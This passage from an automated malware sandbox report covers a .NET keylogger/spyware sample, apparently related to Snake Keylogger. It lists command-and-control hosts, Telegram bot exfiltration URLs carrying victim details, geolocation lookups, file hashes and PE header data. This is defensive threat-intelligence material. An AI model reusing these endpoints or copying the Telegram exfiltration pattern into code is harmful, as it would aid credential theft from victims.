http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mail.electradubai.com	192.250.231.25	true	true	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2007/10/2024%20/%2021:27:24%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003086000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003077000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	z1PO7311145.exe	false		unknown
https://www.office.com/lB	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003081000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/xK	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003077000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003055000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003046000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	z1PO7311145.exe	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	z1PO7311145.exe	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	z1PO7311145.exe, 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F3A000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anotherarmy.dns.army:8081	z1PO7311145.exe	true	URL Reputation: malware	unknown
https://chrome.google.com/webstore?hl=enxK	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003046000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20a	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	z1PO7311145.exe	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	z1PO7311145.exe, 00000000.00000002.3696383781.0000000003050000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F0F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.electradubai.com	z1PO7311145.exe, 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	z1PO7311145.exe, 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	z1PO7311145.exe	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	z1PO7311145.exe	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
192.250.231.25	mail.electradubai.com	United States	36454	CNSV-LLCUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528088
Start date and time:	2024-10-07 15:31:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z1PO7311145.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@1/0@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 74 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: z1PO7311145.exe

Simulations

Behavior and APIs

Time	Type	Description
09:32:10	API Interceptor	12792314x Sleep call for process: z1PO7311145.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Yeni Sipari#U015f.pdf.exe	Get hash	malicious	AgentTesla	Browse
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	http://www.thegulfthermale.com.tr/antai/12/3dsec.php	Get hash	malicious	Unknown	Browse	www.thegulfthermale.com.tr/antai/12/3dsec.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/MlZtCPkK/download
	https://technopro-bg.com/redirect.php?action=url&goto=mairie-espondeilhan.com&osCsid=m24rb0l158b8m36rktotvg5ti2	Get hash	malicious	HTMLPhisher	Browse	mairie-espondeilhan.com/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
158.101.44.242	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MT103-93850.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	StatementXofXaccount.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z1PurchaseOrder.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	MT Eagle Asia 1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	KBGC_1200O000000_98756.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Updated New Order.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	8038.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	movimiento_INGDIRECT.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
checkip.dyndns.com	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	8038.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	132.226.8.169
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	movimiento_INGDIRECT.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
mail.electradubai.com	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
mail.electradubai.com	z64BLPL.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
api.telegram.org	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yeni Sipari#U015f.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	149.154.167.220
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yeni Sipari#U015f.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	149.154.167.220
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://www.masonpost.com:443/cgi-bin/redir?https://ctrk.klclick3.com/l/01J9K8KGETH6JCWEWSWY0Z1M23_0?upn=u001.itvpsDR1UD2k9ruxjm0OAspgqcVOQ2hpn9lpb50VxZJdbi9nOzDV7HSnhKeIcaLQsgzZhAfJ867-2F8IcC-2BBYACBF80J8eA0O7PKeZKrlC1Q54Fj-2FS5ho91OPbLHjsGsZQWTyMbbJfNaQPKh9-2FKW31wr-2BMvAwYD85cdCTmlJyLauY-3D1xqt_Zis0fkz6H88oOTECUjdmAu-2FGkDDLbhQT-2B-2B9-2BD8-2Fn-2BuGRBn47ofPUerdduk-2BghIIr31LJs6iNd0rpuOZI5rlm3TOpkCWZ1eNCAWCuASI4dMP9Tv6jbA2UWTI2YWLmFZqgYeVzSc0Fb4o9iKg-2BzjSlX63m5ZgVPzXZ0W3SrrpOTDVmr8Vwd0xwSjxu9efo9kpJLVs7HOh7Cib6eG0OHldiYrljs5jy-2BsmDgNausa6sMCHSoHHj10FI3IfGuCnAD3e6jEbbsHVD11-2FD9cWADvkKxwETdgNpgixeie55jSwivWDLRKcdIczYG3CyTpA1Y18cj-2FBGLZEHTJvF1rd5yfWClPzV1Xw6x2CQgpVVbtrTE5NXtV8WFomzmraH-2FRE0uCvY#QE5lb19IYWNrZXJAb2ZmaWNlLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.94.1
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	104.18.36.155
	Hscni Remittance_8115919700_16831215.html	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Payment.vbs	Get hash	malicious	FormBook	Browse	188.114.96.3
	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
CNSV-LLCUS	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
	z64BLPL.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
	F#U0130YAT TEKL#U0130F#U0130-2400.exe	Get hash	malicious	AgentTesla	Browse	192.250.227.28
	https://sesworld.com.au:443/it/mount/	Get hash	malicious	Unknown	Browse	192.250.235.25
	https://hmchive.com/?hcv=bGFldGl0aWEucGF0cnktYmFsYXRAc3VlZHp1Y2tlcmdyb3VwLmNvbS0tLS1DYXJsb3MgR2FpdMOhbg==	Get hash	malicious	Unknown	Browse	192.250.227.21
	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
	http://linkplea.se/doar	Get hash	malicious	Unknown	Browse	192.250.229.80
	rfq_commercial_order_GMlist_for_Drumedis_tender_august_quater_2024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.250.234.170
ORACLE-BMC-31898US	PO.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	movimiento_INGDIRECT.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	ZEjcJZcrXc.elf	Get hash	malicious	Mirai	Browse	193.122.239.124
	na.elf	Get hash	malicious	Unknown	Browse	130.61.64.122
	na.elf	Get hash	malicious	Mirai	Browse	130.35.12.7

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SM-0230- J - TOOL 10 DEGREE FOR DWT MACHINE-MF5i.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	8038.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	COMPANY PROFILE_pdf.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	movimiento_INGDIRECT.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Pla#U0107anje,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	sam.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Payment.vbs	Get hash	malicious	FormBook	Browse	149.154.167.220
	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	https://bono-sicherheitstechniksharefile.btn-ebikes.com/	Get hash	malicious	HtmlDropper	Browse	149.154.167.220
	Portal.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	149.154.167.220
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.630776175113395
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	z1PO7311145.exe
File size:	276'992 bytes
MD5:	b9a13749cc0659a2076afca8f7474509
SHA1:	4cb32e56f1333ee8eb523c442d597bad0faf49b7
SHA256:	c8f7435398a1f1de11e2b2385b2bfd92414860fe7394071ba329ad0ee1c22a48
SHA512:	0377a1150581be8a39b17dc7a075d7ae11ee43f54b6dffec032548ada39cf704ca4dd883ca46557a4cb674ee023559d90abb0cf0b4fde702590223d612675553
SSDEEP:	3072:8WAT5ctg+Orw0aqqb5mlXYOE6jc7dz0pHuHA7sfMobfD4lD7soAUYTVg4iIbbY:v6ySsfMobr4lDG7b
TLSH:	914484092FE8A801D6FF8877C2B65125C6BAF06306698D3E16D1F81A3E3D541DE46F63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............P..$...........C... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x44432e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x669085D9 [Fri Jul 12 01:24:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x442d4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x46000	0x1017	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
